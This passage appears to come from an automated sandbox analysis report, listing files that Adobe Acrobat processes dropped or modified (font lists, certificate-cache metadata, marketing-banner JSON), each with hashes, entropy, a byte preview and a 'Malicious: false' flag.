SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklAwu+EttfllXlE/HT8kZZNNX8RolJuRdxLlGB9lQRYwpDdt:kKZUseT8ONMa8RdWBwRd
MD5:	04F10EBD3409BBB062BA9000BEEF7361
SHA1:	BEB4BEEC8E4B6D45142B14FE602AAF4B93370613
SHA-256:	89F8FCAE3C920EF8728A4FACCC1D575F83978D22877C348D1541253C1B4726EF
SHA-512:	E9111EADF3CC162BBB714329751287B931B9C00D1F4FE64D4955A34176D0E501A286B49B833C097C00F4318BC8095FCF7E006A898CF95D0A60B60EF5DF4F5718
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....h...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1259214890737193
Encrypted:	false
SSDEEP:	6:kKOUDL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9DiDnLNkPlE99SNxAhUe/3
MD5:	3292C9091FDB4542D0A8995A61E38203
SHA1:	91F25BF019EEDE702587B6525EB0DB1DC22AB307
SHA-256:	B527E4EC0DBDDF3A875CEFCBC3ABCCA9A622E90AE0E06BE2F94F5A1154FA18A1
SHA-512:	473FB66155C26470A997E4ABC8A88C02CDE1A1C0B2BD23AF1E5C142CDF56894DD5A9D08A1CF2D405F26D96F103023C80C41DEEF5755064E155D7D0AF2F6ADAD4
Malicious:	false
Preview:	p...... ........#....c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7696

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7696

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.336242121558204
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJM3g98kUwPeUkwRe9:YvXKX2g5yYpW7VOGMbLUkee9
MD5:	68D04254663786BE77E9E908AADFF261
SHA1:	40CB208B8085E826856C06C70DBAF1A7F590AF6D
SHA-256:	8965864F37FB7346760C1B94B6148AC2E03F402F8AD15CE4DC38325DD52E87C2
SHA-512:	95DD79A29C79C8C84266521F66C36E236054B83AA58C57A545A8624EA9CD91D88A25ACF32CEC39D7411F8FE8C0B6F6FC514994BC3CBF510B53EF7BEC6AC7A6D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.274832472322423
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJfBoTfXpnrPeUkwRe9:YvXKX2g5yYpW7VOGWTfXcUkee9
MD5:	92BAADD853CECAFC142A24E628EE6E35
SHA1:	70E45E6B8D7ABE74BCC9FAD745532CC90DA05717
SHA-256:	56C5CE3B73256497A2E3727B1D70CB43AA27DCA05D103F5A4BC8CD3C0C8582C0
SHA-512:	D61DCB969F03B33BFE1CC88C9C7FE057E09481BB286C5BBD91D60CB16915BA0CCCC9679373D188A27D374C94704C23073C4B8666AA12FF211A628CCF4C9D812B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.25309196768023
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJfBD2G6UpnrPeUkwRe9:YvXKX2g5yYpW7VOGR22cUkee9
MD5:	39C2A5707EB355EF66BC5C7E2A974AA4
SHA1:	CA9F0A9C9D2CBBDD45990F57964543B7683009A6
SHA-256:	A09F5C534E2385D13D3232F0AA376A3D8923E155130FDF9B5434AE833F23C0E3
SHA-512:	2C8BFE1F8D5594DB7F4ED618CFADD78A15320D6BBFFB7A9F94CD088021E87F8F3055FFE3D49EF62E6C48FB9CA8B59FEA1EF258FD78E3A78D22DA5057489A361D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.314183375887263
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJfPmwrPeUkwRe9:YvXKX2g5yYpW7VOGH56Ukee9
MD5:	D18E71E6F5BB14CD7ACF8EC875C26126
SHA1:	1A2E5460C8C9643EE15CB5054C64BB258FC844B4
SHA-256:	22F13C16A041B73A4893D7BAB0FE679EAD82142EF7E7F53D06799A4E4864C0DA
SHA-512:	D3E6C41E812F7EA20486F54F2CE36A839DEC6884475F535696844C3C687CC1F48B54A476132D0EE7A46B75E329729CCABF68FDDEB3A621A460304111A5B72482
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687694616059674
Encrypted:	false
SSDEEP:	24:Yv6XfRiV7pLgE9cQx8LennAvzBvkn0RCmK8czOCCSl:Yv+I9hgy6SAFv5Ah8cv/l
MD5:	AFEEA1F477B3C9BCB3829B0ED79C4228
SHA1:	4A7AEFB9EEDB0473960F5A3BFF45DC00085B6E72
SHA-256:	DF8E7A77ECCFE396878393C3A8469D93D76AD15B94B6ABA51EC6119E07E00679
SHA-512:	CA607E8ED4B6E858D83B6470C3656A1BC39DE4D15D5F87F9AB12E2A7545D6B491E51D10C46FFE1285E18CC5A312BAF75A78258CCF39916CCC86D1C902C413709
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2571139308463914
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJf8dPeUkwRe9:YvXKX2g5yYpW7VOGU8Ukee9
MD5:	CCDB1528BD77411DE18CDCD63162E8C7
SHA1:	C98AAF3CCDCE9F272CB14489129DC4F9F7481E2D
SHA-256:	DC0D03957E04ABAE0131F394EE5AD611CB88C714577CCE1C5DABA568ABE16E55
SHA-512:	59888E204382A966EB82092D00D4D369C4222DF74D0C8B84D8DD2D7A18D84E318E2BABC8EAE6D307A953F222055D3FE65AEAAF71AAFDFD1E3ADB38868C8574B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.259109539354588
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJfQ1rPeUkwRe9:YvXKX2g5yYpW7VOGY16Ukee9
MD5:	09FD82E4318FF64E4B89F3AF3C0CB9C3
SHA1:	49E8E8BC5E7DFA17C8C6E6781D8D8D39267BEE05
SHA-256:	A242823B497CD86DFC20AC717F047D4119BAC4FD498C00A1A43E091CF7A79A51
SHA-512:	35D254D260466455DE4DEF5BF30C455C36A4C602BE31FBB65FB51916E08F61C552B8749B89A76E73DA21BBCF044C664E58B30115DBA1FAD5BBB88AF904D035EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.276079498630435
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJfFldPeUkwRe9:YvXKX2g5yYpW7VOGz8Ukee9
MD5:	7C2655B3B530CB46E711995E59127045
SHA1:	E3E65CF4119845B8613EF6E821ECE6EA2D2CE87B
SHA-256:	7EBC0DB5B418E1F8937DFBCD889FBB43EF4AD47BADFFE907C4C5529E1D08E897
SHA-512:	6FE9820EE50505E88DB2B8A37F2447E2A2DD63FF62BEE2F3358F610572009A303A354459847D92C33AFFB191773B657979726F9174BF60CDED55DCFB15715A9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.285168632475596
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJfzdPeUkwRe9:YvXKX2g5yYpW7VOGb8Ukee9
MD5:	E29A9E3FEA9584FAD34BD106B46291FF
SHA1:	9D48D722CAA6CAC093E8D990D172326B5D32FB58
SHA-256:	DA7717C0596323C358D1ACF913780892F7CE0CEBC1AC3A287CB5726A159BA69D
SHA-512:	E91E9BF0B75E156422DC227F742F49BD77B617CF7199A6C653D928F3E8B4EBE0C36D49400B98040C1962688661CF39FB5310DE09427D37C778FC4EB51719996E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2653799222184965
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJfYdPeUkwRe9:YvXKX2g5yYpW7VOGg8Ukee9
MD5:	D0114C6DC8F7633536FCD8B6ABD649A0
SHA1:	0CF9013AD333181144D45874C73F39685664F333
SHA-256:	B718B53C3F03C671574D3CF07334B949875EBA70C32EE78F1F68CED8F9FFDF0E
SHA-512:	C97BEB8739C4F635EC14049025FC670C74C256627BD4E020B77C1B9CC5D88FFB7E36E2C1E6A2653E28178A6BEF689D82ED127397E7436E2E0A906F234BF17A8B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.250820786629723
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJf+dPeUkwRe9:YvXKX2g5yYpW7VOG28Ukee9
MD5:	82FADFA717F2DCEFC98103A34EFDE09E
SHA1:	A7228D43E22701F55AE4105FBED3002DAC352047
SHA-256:	E819FB78F11195092F5603F96CF8F99954DAA1073833FC0D75EB77E524035419
SHA-512:	E39EF22B47C3CDE8C201AD3F59C288622D65A85B3309F08A43DCB6F27F96A600854047FEF7B0C96920FFF8906BEB3D26616DB2158259BFECF22447778925954D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

